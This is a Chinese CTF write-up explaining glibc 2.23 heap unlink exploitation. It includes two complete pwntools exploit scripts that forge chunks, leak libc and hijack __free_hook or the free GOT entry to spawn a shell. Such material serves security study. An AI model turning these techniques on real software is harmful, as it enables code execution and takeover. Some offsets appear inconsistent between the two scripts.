堆学习之unlink
juancake 发表于 山东 二进制安全 315浏览 · 2024-11-16 13:49

原理

unlink这个名词是啥?

unlink其实是libc中定义的一个宏,在malloc.c(libc2.23)中定义如下:

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;                                   
    BK = P->bk;                                   
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                    
        FD->bk = BK;                                  
        BK->fd = FD;                                  
        if (!in_smallbin_range (P->size)                      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
          malloc_printerr (check_action,                      
                   "corrupted double-linked list (not small)",    
                   P, AV);                        
            if (FD->fd_nextsize == NULL) {                    
                if (P->fd_nextsize == P)                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;             
                else {                                
                    FD->fd_nextsize = P->fd_nextsize;                 
                    FD->bk_nextsize = P->bk_nextsize;                 
                    P->fd_nextsize->bk_nextsize = FD;                 
                    P->bk_nextsize->fd_nextsize = FD;                 
                  }                               
              } else {                                
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             
              }                                   
          }                                   
      }                                       
}

unlink的实现(选自hollk师傅)

还是用前面堆释放的例子,依次释放了first_chunk、second_chunk、third_chunk,也就是说首先释放的是first,然后释放的是second,最后释放的是third。在双链表中的结构如下:


现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。但是恰恰是这个检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态(90而不是91)

检查3:检查前后被释放chunk的fd和bk

可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址

个人理解就是根据上述三个检查机制构造3个chunk(其实这三个都是fake_chunk),使3个chunk逻辑意义上相邻(通过精心构造fd bk指针--->检查3),然后通过free与chunk1物理意义相邻的chunk(大小满足unsortedbin),把chunk1合并到unsortedbin(脱链),这样chunk0和chunk2的fd和bk变成互相指向对方

chunk0_fd = chunk2_pre
chunk2_bk = chunk0_pre

但是由于脱链之前我们chunk0_fd和chunk2_bk都是指向chunk1_pre(俩值相等),所以最终执行结果是chunk2_pre = chunk0_pre,由于我们构造chunk0和chunk2时就是在chunk_data_list那里构造的(bss段,而且易满足检查3),所以我们unlink的最终效果就是在chunk_data_list那里虚构了一个chunk,从而实现任意地址写。

例题

做了题也就通透了

题目-[SUCTF 2018招新赛]unlink(nssctf)

标签:libc 2.23 unlink 堆溢出

保护

开了canary和NX

程序

add buf处于bss段,里面存放的是chunk_data_list(bss:0x6020c0)

del


show

edit 能溢出

思路

通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!

很明显:

1.unlink

2.__free_hook劫持

unlink

touch(0x20)

touch(0x80)

touch(0x100)

先申请三个堆块

看一下chunk_data_list :0x6020c0

可以看到三个chunk的data段起始地址(chunk的地址+0x10)都已经放入chunk_data_list中了

buf=0x6020c0
#fake_chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)  
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)

在chunk1内构造second_chunk(蓝框),通过伪造它的fd bk,构造一个让系统误以为存在一条third_chunk -> second_chunk ->first_chunk 的fackchunk链


third_chunk(两个红框分别为fd bk)


first_chunk

这样很明显我们是利用{存在存储malloc得到空间地址的指针序列,存放在bss段上}这一题目特点,在chunk_data_list这里利用0x8的空间差巧妙构造了两个fakecchunk,并且绕过了检查。

同时

of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)

修改chunk1的chunk头,使second_chunk变成free状态,便于chunk1free后与其合并

delete(1)

chunk1(0x90)free后进入unsortedbin,同时发现其物理相邻的second_chunk为free状态,于是与其合并,造成second_chunk从third_chunk -> second_chunk ->first_chunk 的fakechunk链中脱链。变成third_chunk ->first_chunk

合并, 0x20 + 0x90 = 0xb0

经过unlink操作后,chunk_data_list变成了这样

这样我们再往chunk0内写内容,其实是从0x6020a8开始写的。

泄露libc

payload=p64(0)*3+p64(0x6020c8)    

take_note(0,payload)             #这里其实是在向0x6020a8中写入数据了

为了方便后续任意地址写,我们微操一下布局

绿框其实是原chunk1data地址,我们通过往0x6020c8里面写内容(利用chunk0),把chunk1的data位地址改成puts_got,再show chunk1,就能打印出puts_got里面的内容。进而获取libc。

take_note(0,payload)             #这里其实是在向0x6020a8中写入数据了

payload=p64(elf.got['puts'])     

take_note(0,payload)            #这里是在向0x6020c8中写入数据

show(1)                                   #打印0x6020c8中的数据

puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')  

print(hex(puts_addr))

libc=ELF("./libc-2.23.so")

libc_base=puts_addr-libc.sym['puts']

free_hook=libc_base+libc.sym['__free_hook']

bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))


由于没本地libc,后面调不动了,就都用这张图了。

劫持free_hook

payload=p64(free_hook)+p64(bin_sh_str)

take_note(0,payload)

system=libc_base+libc.sym['system']

take_note(1,p64(system))

delete(2)

此时执行free(chunk2),其实free的参数是binsh,看ida

free的是chunk_data_list

exp

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=process("./service")

elf=ELF("./service")

#io=remote("node4.anna.nssctf.cn",28771)

def debug():

    gdb.attach(io, 'b *0x400BC2')

    pause()

def touch(size):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(1))

    io.recvuntil(b"please input the size : \n")

    io.sendline(str(size))

def delete(index):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(2))

    io.recvuntil(b"which node do you want to delete\n")

    io.sendline(str(index))

def show(index):

    io.recvuntil(b"please chooice :\n")

    io.sendline(str(3))

    io.recvuntil(b"want to show")

    io.sendline(str(index))

    io.recvuntil(b'is : ')

def take_note(index,content):

    io.sendlineafter(b'chooice :\n',b'4')

    io.sendlineafter(b'modify :\n',str(index).encode())

    io.sendafter(b'content\n',content)

touch(0x20)

touch(0x80)

touch(0x100)    

#debug()

buf=0x6020c0

#fake_chunk

prev_size=p64(0)

chunk_size=p64(0x20)

fd=buf-0x18

bk=buf-0x10

content=p64(fd)+p64(bk)

of_prev_size=p64(0x20)  

of_chunk_size=p64(0x90)

payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size

take_note(0,payload)

delete(1)

#debug()

payload=p64(0)*3+p64(0x6020c8)    

take_note(0,payload)             #这里其实是在向0x6020a8中写入数据了

payload=p64(elf.got['puts'])     

take_note(0,payload)            #这里是在向0x6020c8中写入数据

show(1)                                   #打印0x6020c8中的数据

puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')  

print(hex(puts_addr))

libc=ELF("./libc-2.23.so")

libc_base=puts_addr-libc.sym['puts']

free_hook=libc_base+libc.sym['__free_hook']

bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=p64(free_hook)+p64(bin_sh_str)

take_note(0,payload)

system=libc_base+libc.sym['system']

take_note(1,p64(system))

delete(2)

io.interactive()

题目-offbyone-unlink

标签:libc2.23 unlink off by one

与上一题最大的区别就是堆溢出换成了off by one,不过问题不大,只需要在add时微操一下就行

保护

可以修改got表

程序

标准菜单题,和上一题一样,只不过堆溢出变成了off by one

思路

总结了一下,unlink有两大条件

1、bss段有chunk_data_list

2、off by one & 堆溢出

unlink

new(0x108,'zzz')##第一个chunk为了覆盖下面的chunk(pre位)所以是0x100+8,8就是这个目的
new(0xf0,'aaa')
new(0x100,'/bin/sh\x00')##为了与topchunk隔开

注意区别 0x108

payload=p64(0)+p64(0x101) + p64(data_addr-0x18)+p64(data_addr-0x10)  #这个是根据offbyone伪造的chunk,p64(0)是pre,p64(0x101)是size#这个就是根据上面的公式,无脑-0x18和-0x10
payload=payload.ljust(0x100,b'a')+p64(0x100)+p8(0) 
#这个p64(0x100)是覆盖下一个chunk的pre位,触发unsorted bin向前合并
#这个p8(0)是offbyone覆盖下一个chunk的size低位

edit(0,payload)

绕过保护,构造fakechunk链

delete(1)

脱链

此时的chunk_data_list

泄露libc

edit(0,p64(0)*3+p64(data_addr-0x18)+p64(0x602018))
dbg()
show(1)

leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x84540
log.info(hex(libc_base))

打印出free函数的got表项

getshell

free_hook=0x84540+libc_base
edit(0,p64(0)*3+p64(0x6020c0-0x18)+p64(0x602018))
#由于free的参数是chunk里面的东西,我们只需要把参数写上'/bin/sh',再改写free_hook为system,就可以getshell
#edit(1,p64(0x453a0+libc_base)[:7])
edit(1,p64(0x453a0+libc_base))
delete(2)

把free_got改成system

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./heap2')
libc = ELF('/home/gsnb/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def dbg():
    gdb.attach(p, 'b *0x400C4E')
    pause()

def new(s,c):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('size')
    p.sendline(str(s))
    p.recvuntil('data')
    p.send(c)

def delete(i):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def edit(i,s):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.recvuntil('data')
    p.send(s)

data_addr=0x602120
new(0x108,'zzz')##第一个chunk为了覆盖下面的chunk(pre位)所以是0x100+8,8就是这个目的
new(0xf0,'aaa')
new(0x100,'/bin/sh\x00')##为了与topchunk隔开

payload=p64(0)+p64(0x101) + p64(data_addr-0x18)+p64(data_addr-0x10)  #这个是根据offbyone伪造的chunk,p64(0)是pre,p64(0x101)是size#这个就是根据上面的公式,无脑-0x18和-0x10
payload=payload.ljust(0x100,b'a')+p64(0x100)+p8(0)
#这个p64(0x100)是覆盖下一个chunk的pre位,触发unsorted bin向前合并
#这个p8(0)是offbyone覆盖下一个chunk的size低位

edit(0,payload)

delete(1)

edit(0,p64(0)*3+p64(data_addr-0x18)+p64(0x602018))
dbg()
show(1)

leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x84540
log.info(hex(libc_base))
free_hook=0x84540+libc_base
edit(0,p64(0)*3+p64(0x6020c0-0x18)+p64(0x602018))
#由于free的参数是chunk里面的东西,我们只需要把参数写上'/bin/sh',再改写free_hook为system,就可以getshell
#edit(1,p64(0x453a0+libc_base)[:7])
edit(1,p64(0x453a0+libc_base))
delete(2)

p.interactive()
0 条评论
某人
表情
可输入 255